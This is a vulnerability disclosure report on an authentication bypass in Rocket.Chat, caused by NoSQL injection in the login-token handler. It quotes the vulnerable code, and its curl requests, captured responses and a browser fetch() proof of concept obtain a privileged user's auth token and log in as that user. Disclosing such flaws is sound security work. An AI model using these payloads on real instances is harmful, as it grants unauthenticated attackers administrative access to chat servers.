Rocket.Chat · Report #1447619
Authentication Bypass in login-token Authentication Method
How it was found
Summary
Improper input data validation in the login-token authentication method leads to an authentication bypass.
Description
Data from HTTP POST requests is forwarded to hardcoded Login Handlers, including the login-token method defined in app/token-login/server/login_token_server.js#L10.
Accounts.registerLoginHandler('login-token', function (result) {
if (!result.loginToken) {
return;
}
const user = Meteor.users.findOne({
'services.loginToken.token': result.loginToken,
});
if (user) {
Meteor.users.update({ _id: user._id }, { $unset: { 'services.loginToken': 1 } });
return {
userId: user._id,
};
}
});
The result.loginToken parameter is taken from the HTTP POST requests JSON body of the /api/v1/login route, so that Mongo DB injection returns a valid authToken for the first matching user.
$ curl -s 'http://127.0.0.1:3000/api/login' -H "Content-Type: application/json" -d '{"loginToken": { "$exists": false }}' | head
{
"status": "success",
"data": {
"userId": "rocket.cat",
"authToken": "MnTHVIRTZfRBQiFQYzWZ1xbBlL4BUwK2-3UBWTftXpB",
"me": {
"_id": "rocket.cat",
"avatarOrigin": "local",
"name": "Rocket.Cat",
"username": "rocket.cat",
Typically the first user in a Rocket.Chat MongoDB database is rocket.cat, which is a privileged account. This can be confirmed by using the returned secret in an API call to /api/v1/me:
$ curl -H "x-user-id: rocket.cat" -H "x-auth-token: MnTHVIRTZfRBQiFQYzWZ1xbBlL4BUwK2-3UBWTftXpB" http://127.0.0.1:3000/api/v1/me
{
"_id": "rocket.cat",
"avatarOrigin": "local",
"name": "Rocket.Cat",
"username": "rocket.cat",
"status": "away",
"statusDefault": "online",
"utcOffset": 1,
"active": true,
"_updatedAt": "2022-01-12T01:45:57.208Z",
"roles": [
"bot"
],
When loginToken is legitimately used an attacker would need to switch the strategy from using $empty to $regex instead.
Releases Affected:
- 4.3.1
- 3.18.3
- develop
Steps To Reproduce (from initial installation to vulnerability):
- Open Rocket.Chat (logged out)
- Open Web Inspector
- Run PoC Request
Supporting Material/References:
Proof of Concept
fetch("/api/v1/login", {
method: "POST",
body: '{"loginToken": { "$exists": false }}',
headers: {
"Content-Type": "application/json"
}
})
.then(res => res.json())
.then(({ data: { userId, authToken }}) => {
console.log(`login as ${userId}`)
Meteor._localStorage.setItem(Accounts.USER_ID_KEY, userId);
Meteor._localStorage.setItem(Accounts.LOGIN_TOKEN_KEY, authToken);
window.location.reload()
});
Suggested mitigation
- Validate
result.loginTokeninput data in loginToken auth handler.
Impact
Unauthenticated clients can bypass the login and obtain administrative access to the Rocket.Chat instance.